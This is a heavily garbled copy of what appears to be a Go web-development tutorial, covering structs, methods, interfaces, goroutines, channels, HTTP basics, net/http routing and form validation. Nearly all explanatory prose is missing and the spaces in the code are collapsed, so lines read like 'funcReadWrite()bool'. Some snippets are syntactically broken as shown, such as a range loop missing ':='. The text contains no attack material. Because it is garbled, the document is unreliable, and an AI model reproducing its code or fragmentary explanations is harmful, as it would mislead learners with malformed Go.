funcReadWrite()bool{file.Open("file")deferfile.Close()iffailureX{returnfalse}iffailureY{

returnfalse}returntrue}

deferdefer 43210

fori:=0;i<5;i++{deferfmt.Printf("%d",i)}

Go type

typetypeNamefunc(input1inputType1,input2inputType2[,...])(result1resultType1[,...])

packagemain

import"fmt"

typetestIntfunc(int)bool//

funcisOdd(integerint)bool{ifinteger%2==0{returnfalse}returntrue}

funcisEven(integerint)bool{ifinteger%2==0{returntrue

}returnfalse}

//

funcfilter(slice[]int,ftestInt)[]int{varresult[]intfor_,value:=rangeslice{iff(value){result=append(result,value)}}returnresult}

funcmain(){slice:=[]int{1,2,3,4,5,7}fmt.Println("slice=",slice)odd:=filter(slice,isOdd)//fmt.Println("Oddelementsofsliceare:",odd)even:=filter(slice,isEven)//fmt.Println("Evenelementsofsliceare:",even)}

testInt filtertestInt

Panic Recover

GoJava panicrecover panic

Panic

FpanicF FF Fpanic panicgoroutine panic

Recover

goroutine recover recovernil goroutine recoverpanic

panic

varuser=os.Getenv("USER")

funcinit(){ifuser==""{panic("novaluefor$USER")}}

panic

functhrowsPanic(ffunc())(bbool){deferfunc(){ifx:=recover();x!=nil{b=true}}()f()//ffpanicreturn}

maininit

Go init packagemain packagemain packageinitpackageinit

Goinit()main() packageinit packagemainmain

main main fmt init main maininit main

2.6main

import

Goimport

import("fmt")

fmt.Println("helloworld")

fmtGo GOROOTGoimport

1.

import“./model”//modelimport

2.

import“shorturl/model”//gopath/src/shorturl/model

importimport

1.

import(."fmt")

fmt.Println("helloworld")Println("helloworld")

2.

import(f"fmt")

f.Println("helloworld")

3. _

import

import("database/sql"_"github.com/ziutek/mymysql/godrv")

_init

links

: Go: struct

2.4struct

struct

GoC person struct:

typepersonstruct{namestringageint}

struct

stringnameintage,

struct

typepersonstruct{namestringageint}

varPperson//Pperson

P.name="Astaxie"//"Astaxie"Pname.P.age=25//"25"Pagefmt.Printf("Theperson'snameis%s",P.name)//Pname.

P

1.

P:=person{"Tom",25}

2.field:value

P:=person{age:24,name:"Tom"}

3.newP*person

P:=new(person)

struct

packagemain

import"fmt"

//typepersonstruct{namestringageint}

////structfuncOlder(p1,p2person)(person,int){ifp1.age>p2.age{//p1p2returnp1,p1.age-p2.age}returnp2,p2.age-p1.age}

funcmain(){vartomperson

//tom.name,tom.age="Tom",18

//bob:=person{age:25,name:"Bob"}

//structpaul:=person{"Paul",43}

tb_Older,tb_diff:=Older(tom,bob)tp_Older,tp_diff:=Older(tom,paul)bp_Older,bp_diff:=Older(bob,paul)

fmt.Printf("Of%sand%s,%sisolderby%dyears\n",tom.name,bob.name,tb_Older.name,tb_diff)

fmt.Printf("Of%sand%s,%sisolderby%dyears\n",tom.name,paul.name,tp_Older.name,tp_diff)

fmt.Printf("Of%sand%s,%sisolderby%dyears\n",bob.name,paul.name,bp_Older.name,bp_diff)}

struct

structGo

structstructstruct

packagemain

import"fmt"

typeHumanstruct{namestringageint

weightint}

typeStudentstruct{Human//StudentHumanspecialitystring}

funcmain(){//mark:=Student{Human{"Mark",25,120},"ComputerScience"}

//fmt.Println("Hisnameis",mark.name)fmt.Println("Hisageis",mark.age)fmt.Println("Hisweightis",mark.weight)fmt.Println("Hisspecialityis",mark.speciality)//mark.speciality="AI"fmt.Println("Markchangedhisspeciality")fmt.Println("Hisspecialityis",mark.speciality)//fmt.Println("Markbecomeold")mark.age=46fmt.Println("Hisageis",mark.age)//fmt.Println("Markisnotanathletanymore")mark.weight+=60fmt.Println("Hisweightis",mark.weight)}

:

2.7structStudentHumanstructstring

StudentagenamestudentHuman

mark.Human=Human{"Marcus",55,220}mark.Human.age-=1

struct

packagemain

import"fmt"

typeSkills[]string

typeHumanstruct{namestringageint

weightint}

typeStudentstruct{Human//structSkills//stringsliceint//specialitystring}

funcmain(){//Janejane:=Student{Human:Human{"Jane",35,100},speciality:"Biology"}//fmt.Println("Hernameis",jane.name)fmt.Println("Herageis",jane.age)fmt.Println("Herweightis",jane.weight)fmt.Println("Herspecialityis",jane.speciality)//skilljane.Skills=[]string{"anatomy"}fmt.Println("Herskillsare",jane.Skills)fmt.Println("Sheacquiredtwonewones")jane.Skills=append(jane.Skills,"physics","golang")fmt.Println("Herskillsnoware",jane.Skills)//jane.int=3fmt.Println("Herpreferrednumberis",jane.int)}

structstructappend

humanphonestudentphone

Go student.phonestudenthuman

packagemain

import"fmt"

typeHumanstruct{namestringageintphonestring//Human}

typeEmployeestruct{Human//Humanspecialitystringphonestring//phone}

funcmain(){Bob:=Employee{Human{"Bob",34,"777-444-XXXX"},"Designer","333-222"}fmt.Println("Bob'sworkphoneis:",Bob.phone)//Humanphonefmt.Println("Bob'spersonalphoneis:",Bob.Human.phone)}

links

::

2.5structstruct method

method

struct

packagemain

import"fmt"

typeRectanglestruct{width,heightfloat64}

funcarea(rRectangle)float64{returnr.width*r.height}

funcmain(){r1:=Rectangle{12,2}r2:=Rectangle{9,4}fmt.Println("Areaofr1is:",area(r1))fmt.Println("Areaofr2is:",area(r2))}

area()RectangleRectangler1,r2

area_rectangle,area_circle,area_triangle...

,struct(class)structstruct

2.8struct

""""

method method funcreceiver(method)

method area()(Rectangle)Rectangle.area()Rectanglearea()Rectangle

Rectanglelengthwidth,area(),Rectangle

RobPike

"Amethodisafunctionwithanimplicitfirstargument,calledareceiver."

method

func(rReceiverType)funcName(parameters)(results)

method

packagemain

import("fmt""math")

typeRectanglestruct{width,heightfloat64}

typeCirclestruct{radiusfloat64}

func(rRectangle)area()float64{returnr.width*r.height}

func(cCircle)area()float64{returnc.radius*c.radius*math.Pi}

funcmain(){r1:=Rectangle{12,2}r2:=Rectangle{9,4}c1:=Circle{10}

c2:=Circle{25}

fmt.Println("Areaofr1is:",r1.area())fmt.Println("Areaofr2is:",r2.area())fmt.Println("Areaofc1is:",c1.area())fmt.Println("Areaofc2is:",c2.area())}

method

methodmethodmethodmethod.struct

:

2.9structmethod

methodarea()RectangleCircleReceiverRectangleCircle,area()Rectangle/Circle

methodReceiverReceiver,,Receiver,Receiver,

methodstructstructstructstruct

typetypeNametypeLiteral

typeagesint

typemoneyfloat32

typemonthsmap[string]int

m:=months{"January":31,"February":28,..."December":31,}

,ctypedefagesint

method

method

packagemain

import"fmt"

const(WHITE=iotaBLACKBLUEREDYELLOW)

typeColorbyte

typeBoxstruct{

width,height,depthfloat64colorColor}

typeBoxList[]Box//asliceofboxes

func(bBox)Volume()float64{returnb.width*b.height*b.depth}

func(b*Box)SetColor(cColor){b.color=c}

func(blBoxList)BiggestColor()Color{v:=0.00k:=Color(WHITE)for_,b:=rangebl{ifbv:=b.Volume();bv>v{v=bvk=b.color}}returnk}

func(blBoxList)PaintItBlack(){fori,_:=rangebl{bl[i].SetColor(BLACK)}}

func(cColor)String()string{strings:=[]string{"WHITE","BLACK","BLUE","RED","YELLOW"}returnstrings[c]}

funcmain(){boxes:=BoxList{Box{4,4,4,RED},Box{10,10,1,YELLOW},Box{1,1,20,BLACK},Box{10,10,1,BLUE},Box{10,30,1,WHITE},Box{20,20,20,YELLOW},

}

fmt.Printf("Wehave%dboxesinourset\n",len(boxes))fmt.Println("Thevolumeofthefirstoneis",boxes[0].Volume(),"cm³")fmt.Println("Thecolorofthelastoneis",boxes[len(boxes)-1].color.String())fmt.Println("Thebiggestoneis",boxes.BiggestColor().String())

fmt.Println("Let'spaintthemallblack")boxes.PaintItBlack()fmt.Println("Thecolorofthesecondoneis",boxes[1].color.String())

fmt.Println("Obviously,now,thebiggestoneis",boxes.BiggestColor().String())}

const

Colorbytestruct:Boxslice:BoxListBox

method

Volume()BoxBoxSetColor(cColor)BoxcBiggestColor()BoxListlistPaintItBlack()BoxListBoxString()ColorColor()

receiver

SetColormethodreceiverBox*BoxBox

SetColorBoxBoxSetColorBoxcopymethodBoxcopyBox

receivermethod

SetColor*b.Color=c,b.Color=c,

Go()GoGo

PaintItBlackSetColor (&bl[i]).SetColor(BLACK)SetColorreceiver*BoxBox

Goreceiver

methodreceiver*T,TVmethod&Vmethod

methodreceiverT TPmethod Pmethod

methodmethodGoC/C++

method

Gomethodmethodstructmethod

packagemain

import"fmt"

typeHumanstruct{namestringageintphonestring}

typeStudentstruct{Human//schoolstring

}

typeEmployeestruct{Human//companystring}

//humanmethodfunc(h*Human)SayHi(){fmt.Printf("Hi,Iam%syoucancallmeon%s\n",h.name,h.phone)}

funcmain(){mark:=Student{Human{"Mark",25,"222-222-YYYY"},"MIT"}sam:=Employee{Human{"Sam",45,"111-888-XXXX"},"GolangInc"}

mark.SayHi()sam.SayHi()}

method

EmployeeSayHi,Employeemethod

packagemain

import"fmt"

typeHumanstruct{namestringageintphonestring}

typeStudentstruct{Human//schoolstring}

typeEmployeestruct{

Human//companystring}

//Humanmethodfunc(h*Human)SayHi(){fmt.Printf("Hi,Iam%syoucancallmeon%s\n",h.name,h.phone)}

//EmployeemethodHumanmethodfunc(e*Employee)SayHi(){fmt.Printf("Hi,Iam%s,Iworkat%s.Callmeon%s\n",e.name,e.company,e.phone)//Yesyoucansplitinto2lineshere.}

funcmain(){mark:=Student{Human{"Mark",25,"222-222-YYYY"},"MIT"}sam:=Employee{Human{"Sam",45,"111-888-XXXX"},"GolangInc"}

mark.SayHi()sam.SayHi()}

Go

Go()

links

: struct: interface

2.6interface

interface

Gointerfaceinterface

interface

interfacemethodinterface

StudentEmployeeSayHi sayhi

StudentEmployee SingStudentBorrowMoneyEmployeeSpendSalary

StudentSayHiSingBorrowMoneyEmployeeSayHiSingSpendSalary

interface(StudentEmployee)StudentEmployeeinterfaceSayHiSinginterfaceEmployeeinterfaceSayHiSingBorrowMoneyEmployeeBorrowMoney

interface

interface

typeHumanstruct{namestringageintphonestring}

typeStudentstruct{Human//Humanschoolstringloanfloat32}

typeEmployeestruct{Human//Humancompanystringmoneyfloat32

}

//HumanSayhifunc(h*Human)SayHi(){fmt.Printf("Hi,Iam%syoucancallmeon%s\n",h.name,h.phone)}

//HumanSingfunc(h*Human)Sing(lyricsstring){fmt.Println("Lala,lalala,lalalalala...",lyrics)}

//HumanGuzzlefunc(h*Human)Guzzle(beerSteinstring){fmt.Println("GuzzleGuzzleGuzzle...",beerStein)}

//EmployeeHumanSayhifunc(e*Employee)SayHi(){fmt.Printf("Hi,Iam%s,Iworkat%s.Callmeon%s\n",e.name,e.company,e.phone)//}

//StudentBorrowMoneyfunc(s*Student)BorrowMoney(amountfloat32){s.loan+=amount//(againandagainand...)}

//EmployeeSpendSalaryfunc(e*Employee)SpendSalary(amountfloat32){e.money-=amount//Morevodkaplease!!!Getmethroughtheday!}

//interfacetypeMeninterface{SayHi()Sing(lyricsstring)Guzzle(beerSteinstring)}

typeYoungChapinterface{SayHi()Sing(songstring)

BorrowMoney(amountfloat32)}

typeElderlyGentinterface{SayHi()Sing(songstring)SpendSalary(amountfloat32)}

interfaceMeninterfaceHumanStudentEmployeeinterfaceStudentMenYoungChapinterface

interface(interface{})0methodinterface

interface

interfaceinterfaceinterfaceMeninterfacemmHumanStudentEmployee

mMenslicesliceMenslice

:

packagemain

import"fmt"

typeHumanstruct{namestringageintphonestring}

typeStudentstruct{Human//schoolstringloanfloat32}

typeEmployeestruct{

Human//companystringmoneyfloat32}

//HumanSayHifunc(hHuman)SayHi(){fmt.Printf("Hi,Iam%syoucancallmeon%s\n",h.name,h.phone)}

//HumanSingfunc(hHuman)Sing(lyricsstring){fmt.Println("Lalalala...",lyrics)}

//EmployeeHumanSayHifunc(eEmployee)SayHi(){fmt.Printf("Hi,Iam%s,Iworkat%s.Callmeon%s\n",e.name,e.company,e.phone)}

//InterfaceMenHuman,StudentEmployee//typeMeninterface{SayHi()Sing(lyricsstring)}

funcmain(){mike:=Student{Human{"Mike",25,"222-222-XXX"},"MIT",0.00}paul:=Student{Human{"Paul",26,"111-222-XXX"},"Harvard",100}sam:=Employee{Human{"Sam",36,"444-222-XXX"},"GolangInc.",1000}tom:=Employee{Human{"Tom",37,"222-444-XXX"},"ThingsLtd.",5000}

//MenivariMen

//iStudenti=mikefmt.Println("ThisisMike,aStudent:")

i.SayHi()i.Sing("Novemberrain")

//iEmployeei=tomfmt.Println("Thisistom,anEmployee:")i.SayHi()i.Sing("Borntobewild")

//sliceMenfmt.Println("Let'suseasliceofMenandseewhathappens")x:=make([]Men,3)//interfacex[0],x[1],x[2]=paul,sam,mike

for_,value:=rangex{value.SayHi()}}

interfaceinterfaceGointerfaceduck-typing:""

interface

interface(interface{})methodinterfaceinterface(methodinterfaceCvoid*

//avarainterface{}variint=5s:="Helloworld"//aa=ia=s

interface{}interface{},

interface

interfaceinterface(method)interface

fmt.Printlnfmt:

typeStringerinterface{String()string}

Stringfmt.Println,

packagemainimport("fmt""strconv")

typeHumanstruct{namestringageintphonestring}

//Humanfmt.Stringerfunc(hHuman)String()string{return"❰"+h.name+"-"+strconv.Itoa(h.age)+"years-✆"+h.phone+"❱"}

funcmain(){Bob:=Human{"Bob",39,"000-7777-XXX"}fmt.Println("ThisHumanis:",Bob)}

BoxColormethodStringfmt.StringerinterfacefmtStringerfmt

//

fmt.Println("Thebiggestoneis",boxes.BiggestsColor().String())fmt.Println("Thebiggestoneis",boxes.BiggestsColor())

errorError()stringfmtError()String()

interface

interface(interface)

Comma-ok

Govalue,ok=element.(T)valueokboolelementinterfaceT

elementToktruefalse

packagemain

import("fmt""strconv")

typeElementinterface{}typeList[]Element

typePersonstruct{namestringageint}

//Stringfmt.Stringerfunc(pPerson)String()string{return"(name:"+p.name+"-age:"+strconv.Itoa(p.age)+"years)"}

funcmain(){

list:=make(List,3)list[0]=1//anintlist[1]="Hello"//astringlist[2]=Person{"Dennis",70}

forindex,element:=rangelist{ifvalue,ok:=element.(int);ok{fmt.Printf("list[%d]isanintanditsvalueis%d\n",index,value)}elseifvalue,ok:=element.(string);ok{fmt.Printf("list[%d]isastringanditsvalueis%s\n",index,value)}elseifvalue,ok:=element.(Person);ok{fmt.Printf("list[%d]isaPersonanditsvalueis%s\n",index,value)}else{fmt.Printf("list[%d]isofadifferenttype\n",index)}}}

ifif

ifelseswitch

switch

packagemain

import("fmt""strconv")

typeElementinterface{}typeList[]Element

typePersonstruct{namestring

ageint}

//func(pPerson)String()string{return"(name:"+p.name+"-age:"+strconv.Itoa(p.age)+"years)"}

funcmain(){list:=make(List,3)list[0]=1//anintlist[1]="Hello"//astringlist[2]=Person{"Dennis",70}

forindex,element:=rangelist{switchvalue:=element.(type){caseint:fmt.Printf("list[%d]isanintanditsvalueis%d\n",index,value)casestring:fmt.Printf("list[%d]isastringanditsvalueis%s\n",index,value)casePerson:fmt.Printf("list[%d]isaPersonanditsvalueis%s\n",index,value)default:fmt.Println("list[%d]isofadifferenttype",index)}}}

element.(type)switchswitch comma-ok

interface

GoStructinterfaceinterface1interface2interface2interface1method

container/heap

typeInterfaceinterface{sort.Interface//sort.InterfacePush(xinterface{})//aPushmethodtopushelementsintotheheapPop()interface{}//aPopelementsthatpopselementsfromtheheap}

sort.Interfacesort.Interfacemethod

typeInterfaceinterface{//Lenisthenumberofelementsinthecollection.Len()int//Lessreturnswhethertheelementwithindexishouldsort

//beforetheelementwithindexj.Less(i,jint)bool//Swapswapstheelementswithindexesiandj.Swap(i,jint)}

ioio.ReadWriterioReaderWriterinterface

//io.ReadWritertypeReadWriterinterface{ReaderWriter}

Goreflectreflectreflect lawsofreflection

reflect(interface)reflect(reflect.Typereflect.Value)

t:=reflect.TypeOf(i)//,tv:=reflect.ValueOf(i)//v

reflectreflect

tag:=t.Elem().Field(0).Tag//structname:=v.Elem().Field(0).String()//

varxfloat64=3.4v:=reflect.ValueOf(x)fmt.Println("type:",v.Type())fmt.Println("kindisfloat64:",v.Kind()==reflect.Float64)fmt.Println("value:",v.Float())

varxfloat64=3.4v:=reflect.ValueOf(x)v.SetFloat(7.1)

varxfloat64=3.4p:=reflect.ValueOf(&x)v:=p.Elem()v.SetFloat(7.1)

links

::

2.7Go21CGo21Go

goroutine

goroutineGogoroutinegoroutineGogoroutinegoroutine(4~5KB)goroutinethread

goroutineGoruntimegoroutine go

gohello(a,b,c)

gogoroutine

packagemain

import("fmt""runtime")

funcsay(sstring){fori:=0;i<5;i++{

runtime.Gosched()fmt.Println(s)}}

funcmain(){gosay("world")//Goroutinessay("hello")//Goroutines}

////hello//world//hello//world//hello//world//hello//world//hello

gogoroutine

runtime.Gosched()CPU,goroutine

Go1.5runtime.GOMAXPROCS1CPU

Go1.5runtime.GOMAXPROCS(n)GOMAXPROCSn<1

channels

goroutinegoroutineGochannelchannelUnixshellchannelchannelchannelmakechannel

ci:=make(chanint)cs:=make(chanstring)cf:=make(chaninterface{})

channel<-

ch<-v//vchannelch.v:=<-ch//chv

packagemain

import"fmt"

funcsum(a[]int,cchanint){total:=0for_,v:=rangea{total+=v}c<-total//sendtotaltoc}

funcmain(){a:=[]int{7,2,8,-9,4,0}

c:=make(chanint)gosum(a[:len(a)/2],c)gosum(a[len(a)/2:],c)x,y:=<-c,<-c//receivefromc

fmt.Println(x,y,x+y)}

channelGoroutineslockvalue:=<-chch<-5channelgoroutine

BufferedChannels

channelGochannelchannelch:=make(chanbool,4)4boolchannel

channel45goroutinechannel

ch:=make(chantype,value)

value=0channelvalue>0channelvalue

value

packagemain

import"fmt"

funcmain(){c:=make(chanint,2)//2123c<-1c<-2fmt.Println(<-c)fmt.Println(<-c)}//1://fatalerror:allgoroutinesareasleep-deadlock!

Range Close

cGorangeslicemapchannel

packagemain

import("fmt")

funcfibonacci(nint,cchanint){x,y:=1,1fori:=0;i<n;i++{

c<-xx,y=y,x+y}close(c)}

funcmain(){c:=make(chanint,10)gofibonacci(cap(c),c)fori:=rangec{fmt.Println(i)}}

fori:=rangecchannelchannelchannel closechannelchannel v,ok:=<-chchannelokfalsechannel

channelpanic

channelrange

Select

channelchannelGo selectselectchannel

selectchannelchannelselect

packagemain

import"fmt"

funcfibonacci(c,quitchanint){x,y:=1,1for{select{casec<-x:x,y=y,x+ycase<-quit:fmt.Println("quit")

return}}}

funcmain(){c:=make(chanint)quit:=make(chanint)gofunc(){fori:=0;i<10;i++{fmt.Println(<-c)}quit<-0}()fibonacci(c,quit)}

selectdefault selectswitchdefaultchannelselectchannel

select{casei:=<-c://useidefault://c}

goroutineselect

funcmain(){c:=make(chanint)o:=make(chanbool)gofunc(){for{select{casev:=<-c:

println(v)case<-time.After(5*time.Second):println("timeout")o<-truebreak}}}()<-o}

runtimegoroutine

runtimegoroutine

Goexit

goroutinedefer

Gosched

goroutine

NumCPU

CPU

NumGoroutine

GOMAXPROCS

CPU

links

: interface:

2.8GoGo

breakdefaultfuncinterfaceselectcasedefergomapstructchanelsegotopackageswitchconstfallthroughifrangetypecontinueforimportreturnvar

varconst2.2Gopackageimportfuncreturndefergoselectinterface2.6struct2.5breakcasecontinueforfallthroughelseifswitchgotodefault2.3chanchanneltypemapmaprangeslicemapchannel

Go

links

:: Web

3WebWebGoWebGoHTTPWebWebWebGoWeb

links

:: Web

3.1Web,

URLDNSDNSIPIPIPTCPHTTPRequestHTTP

ResponseResponsebodyTCP

3.1Web

WebHTTPHTTPWeb()

Web

TCP/IPTCPHTTPHTTP“”HTML

HTTP

URL DNS

URLURL

URL(UniformResourceLocator)“”,

scheme://host[:port#]/path/.../[?query-string][#anchor]scheme(http,https,ftp)hostHTTPIPport#HTTP80http://www.cnblogs.com:8080/

pathquery-stringhttpanchor

DNS(DomainNameSystem)“”TCP/IPIPDNS“”

3.2DNS

DNSDNS

1. www.qq.comhostsIP

2. hostsDNS

3. hostsDNSTCP/IPDNSDNS

4. DNSIP

5. DNSDNSDNS“DNS”“DNS”(.com)IPDNSIP.com

.com.comDNS(qq.com)DNSDNSqq.comwww.qq.com

6. DNSDNSDNSDNSDNSDNS

3.3DNS

“”, “”

()xxxxxxyyxxyy()

IPIP

HTTP

HTTPWebWebHTTP

HTTPWeb()Internet,TCPTCP80--HTTPHTTP“”HTTP

HTTPHTTPWebCookie

HTTPTCPTCPHTTPSYNFloodDoSDdoSTCPTCPCPU

HTTP

Request,Request3Requestline,Requestheader,bodyheaderbody:

GET/domains/example/HTTP/1.1//:URIHTTP/Hostwww.iana.org //User-AgentMozilla /5.0(WindowsNT6.1)AppleWebKit/537.4(KHTML,likeGecko)Chrome/22.0.1229.94Safari/537.4//Accepttext /html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8//mineAccept-Encodinggzip,deflate,sdch //Accept-CharsetUTF- 8,*;q=0.5////,//,,POST

HTTP4GET,POST,PUT,DELETEURLHTTPGET,POST,PUT,DELETE4GETPOSTGET/POST

fiddler:

3.4fiddlerGET

3.5fiddlerPOST

GETPOST:

1. GETPOST2. GETURL ?URL & EditPosts.aspx?name=test1&id=123456POST

HTTPbody3. GETURLPOST4. GETGETURL

HTTP

HTTPresponse

HTTP/1.1200OK//Server:nginx/1.0.8//WEBDate:Date:Tue,30Oct201204:14:25GMT//Content-Type:text/html//Transfer-Encoding:chunked//HTTPConnection:keep-alive//Content-Length:90////<!DOCTYPEhtmlPUBLIC"-//W3C//DTDXHTML1.0Transitional//EN"...//

ResponseHTTP

HTTP,HTTPResponseHTTP/1.15

1XX -2XX -3XX -4XX -5XX -

200302responseheader

3.6

HTTP Connection:keep-alive

HTTPHTTPTCPHTTPUDP

HTTP/1.1Keep-AliveHTTPTCPTCP

Keep-AliveApache

3.7requestresponse

URL(go)

urlhtmlHTMLHTMLDOMcssjsHTTP

HTTPcssjs

links

: Web: GoWeb

3.2Go WebWebhttpGonet/httphttpWebWebcookie

http Web

packagemain

import("fmt""net/http""strings""log")

funcsayhelloName(whttp.ResponseWriter,r*http.Request){r.ParseForm()//fmt.Println(r.Form)//fmt.Println("path",r.URL.Path)fmt.Println("scheme",r.URL.Scheme)fmt.Println(r.Form["url_long"])fork,v:=ranger.Form{fmt.Println("key:",k)fmt.Println("val:",strings.Join(v,""))}fmt.Fprintf(w,"Helloastaxie!")//w}

funcmain(){http.HandleFunc("/",sayhelloName)//err:=http.ListenAndServe(":9090",nil)//iferr!=nil{log.Fatal("ListenAndServe:",err)}}

buildweb.exe,9090http

http://localhost:9090

Helloastaxie!

http://localhost:9090/?url_long=111&url_long=222

3.8Web

Webhttp

PHPnginxapacheGotcpnginxsayhelloNamephpcontroller

PythontornadoGoPythonWeb

RubyROR/script/server

GoWebWebGoWeb

links

: Web: Goweb

3.3Go WebGoWebnet/httpGoGoWebWeb

web

Requestpostgetcookieurl

Response

Conn

Handler

http

GoWeb

3.9http

1. ListenSocket,,

2. ListenSocket,ClientSocket,ClientSocket

3. ,ClientSocketHTTP,POST,,handler,handler,ClientSocket

GoWeb

handler

Go ListenAndServeserver net.Listen("tcp",addr)TCP

Gohttphttp

func(srv*Server)Serve(lnet.Listener)error{deferl.Close()vartempDelaytime.Duration//howlongtosleeponacceptfailurefor{rw,e:=l.Accept()ife!=nil{ifne,ok:=e.(net.Error);ok&&ne.Temporary(){iftempDelay==0{tempDelay=5*time.Millisecond}else{tempDelay*=2}ifmax:=1*time.Second;tempDelay>max{tempDelay=max}log.Printf("http:Accepterror:%v;retryingin%v",e,tempDelay)time.Sleep(tempDelay)continue}returne}tempDelay=0c,err:=srv.newConn(rw)iferr!=nil{continue}goc.serve()}}

srv.Serve(net.Listener) for{}ListenerConngoroutineconngoc.serve()goroutine

connrequest: c.readRequest(),handler:handler:=c.server.HandlerListenAndServenil handler=DefaultServeMux,urlhandle?http.HandleFunc("/",sayhelloName) /uri"/"sayhelloNameDefaultServeMuxServeHTTPsayhelloNameresponse

3.10http

GoWeb

links

: GOweb: Gohttp

3.4Go http

GoWebhttp

GohttpConnServeMux

Conn goroutine

http,Go,goroutinesConn,Go

Go

c,err:=srv.newConn(rw)iferr!=nil{continue}goc.serve()

ConnConnhandlerhandlerheader

ServeMux

conn.serverhttp

typeServeMuxstruct{musync.RWMutex//mmap[string]muxEntry//stringmuxstring

hostsbool//host}

muxEntry

typemuxEntrystruct{explicitbool//hHandler//handlerpatternstring//}

Handler

typeHandlerinterface{ServeHTTP(ResponseWriter,*Request)//}

Handler sayhelloNameServeHTTPhttp HandlerFunc,sayhelloNameHandlerFuncServeHTTPHandlerFunc(f),fHandlerFuncfServeHTTP

typeHandlerFuncfunc(ResponseWriter,*Request)

//ServeHTTPcallsf(w,r).func(fHandlerFunc)ServeHTTP(wResponseWriter,r*Request){f(w,r)}

ServeHTTP

func(mux*ServeMux)ServeHTTP(wResponseWriter,r*Request){ifr.RequestURI=="*"{w.Header().Set("Connection","close")w.WriteHeader(StatusBadRequest)return}h,_:=mux.Handler(r)h.ServeHTTP(w,r)}

* mux.Handler(r)Handler h.ServeHTTP(w,r)

handlerServerHTTPmux.Handler(r)

func(mux*ServeMux)Handler(r*Request)(hHandler,patternstring){ifr.Method!="CONNECT"{ifp:=cleanPath(r.URL.Path);p!=r.URL.Path{_,pattern=mux.handler(r.Host,p)returnRedirectHandler(p,StatusMovedPermanently),pattern}}returnmux.handler(r.Host,r.URL.Path)}

func(mux*ServeMux)handler(host,pathstring)(hHandler,patternstring){mux.mu.RLock()defermux.mu.RUnlock()

//Host-specificpatterntakesprecedenceovergenericonesifmux.hosts{h,pattern=mux.match(host+path)}ifh==nil{h,pattern=mux.match(path)}ifh==nil{h,pattern=NotFoundHandler(),""}return}

URLmaphandlerhandlerServeHTTP

Go ListenAndServeHandlerHandler,ServeHTTP

packagemain

import("fmt""net/http")

typeMyMuxstruct{}

func(p*MyMux)ServeHTTP(whttp.ResponseWriter,r*http.Request){ifr.URL.Path=="/"{sayhelloName(w,r)return}http.NotFound(w,r)return}

funcsayhelloName(whttp.ResponseWriter,r*http.Request){fmt.Fprintf(w,"Hellomyroute!")}

funcmain(){mux:=&MyMux{}http.ListenAndServe(":9090",mux)}

Go

http

Http.HandleFunc

1DefaultServeMuxHandleFunc

2DefaultServeMuxHandle

3DefaultServeMuxmap[string]muxEntryhandler

http.ListenAndServe(":9090",nil)

1Server

2ServerListenAndServe()

3net.Listen("tcp",addr)

4forAccept

5Conngoroutinegoc.serve()

6w,err:=c.readRequest()

7handlerhandlerhandlerhandlerDefaultServeMux

8handlerServeHttp

9DefaultServeMux.ServeHttp

10requesthandlerhandlerServeHTTP

mux.handler(r).ServeHTTP(w,r)

11handler

ArequestServerMuxmuxEntry

BhandlerServeHttp

CNotFoundHandlerServeHttp

links

: Goweb:

3.5HTTP,DNS,gowebservernet/httpserver

GoWebGoWeb

links

: Gohttp:

4WebWebC/C++

\

<form>...input...</form>

GoformRequestformWeb4.1Go4.2

HTTP4.34.4cookie(cookieheader)

Go4.5Go

links

::

4.1login.gtpl()

<html><head><title></title></head><body><formaction="/login"method="post">: <inputtype="text"name="username">: <inputtype="password"name="password"><inputtype="submit"value="" >

</form></body></html>

/login loginPOSTGET

httpwebloginform

packagemain

import("fmt""html/template""log""net/http""strings")

funcsayhelloName(whttp.ResponseWriter,r*http.Request){r.ParseForm()//urlPOSTrequestbody

//:ParseFormfmt.Println(r.Form)//fmt.Println("path",r.URL.Path)fmt.Println("scheme",r.URL.Scheme)fmt.Println(r.Form["url_long"])fork,v:=ranger.Form{fmt.Println("key:",k)fmt.Println("val:",strings.Join(v,""))}fmt.Fprintf(w,"Helloastaxie!")//w}

funclogin(whttp.ResponseWriter,r*http.Request){fmt.Println("method:",r.Method)//ifr.Method=="GET"{t,_:=template.ParseFiles("login.gtpl")log.Println(t.Execute(w,nil))}else{//fmt.Println("username:",r.Form["username"])fmt.Println("password:",r.Form["password"])

}}

funcmain(){http.HandleFunc("/",sayhelloName)//http.HandleFunc("/login",login)//err:=http.ListenAndServe(":9090",nil)//iferr!=nil{log.Fatal("ListenAndServe:",err)}}

r.MethodGET,POST,PUTmethod

loginr.MethodGET

http://127.0.0.1:9090/login

login.gtpl

4.1

Handlerform r.ParseForm() fmt.Println("username:",r.Form["username"])r.ParseForm(),

r.FormURLquery-stringPOSTPUTURLquery-stringPOSTsliceGoPOSTGET

login.gtplformactionhttp://127.0.0.1:9090/loginhttp://127.0.0.1:9090/login?username=astaxieusernameslice

4.2

request.Formurl.Values key=valueform:

v:=url.Values{}v.Set("name","Ava")v.Add("friend","Jess")v.Add("friend","Sarah")v.Add("friend","Zoe")//v.Encode()=="name=Ava&friend=Jess&friend=Sarah&friend=Zoe"fmt.Println(v.Get("name"))fmt.Println(v.Get("friend"))fmt.Println(v["friend"])

Tips:RequestFormValue()r.Form["username"]r.FormValue("username")r.FormValuer.ParseFormr.FormValue

links

::

4.2WebWeb

Webjs(ValidationJS)

Go lenlen

iflen(r.Form["username"][0])==0{//}

r.Form,r.Form r.Form.Get() r.Form.Get()map

5010“”“”

int

getint,err:=strconv.Atoi(r.Form.Get("age"))iferr!=nil{//}

//ifgetint>100{//}

ifm,_:=regexp.MatchString("^[0-9]+$",r.Form.Get("age"));!m{returnfalse}

Go

GoRE2UTF-8

unicode funcIs(rangeTab*RangeTable,rrune)bool

ifm,_:=regexp.MatchString("^\\p{Han}+$",r.Form.Get("realname"));!m{returnfalse}

astaxieasta

ifm,_:=regexp.MatchString("^[a-zA-Z]+$",r.Form.Get("engname"));!m{returnfalse}

Email

ifm,_:=regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`,r.Form.Get("email"));!m{fmt.Println("no")}else{fmt.Println("yes")}

ifm,_:=regexp.MatchString(`^(1[3|4|5|8][0-9]\d{4,8})$`,r.Form.Get("mobile"));!m{returnfalse}

<select>

select

<selectname="fruit"><optionvalue="apple">apple</option><optionvalue="pear">pear</option><optionvalue="banane">banane</option></select>

slice:=[]string{"apple","pear","banane"}

v:=r.Form.Get("fruit")for_,itemrangeslice{ifitem==v{returntrue}}

returnfalse

radio15httptelnet123

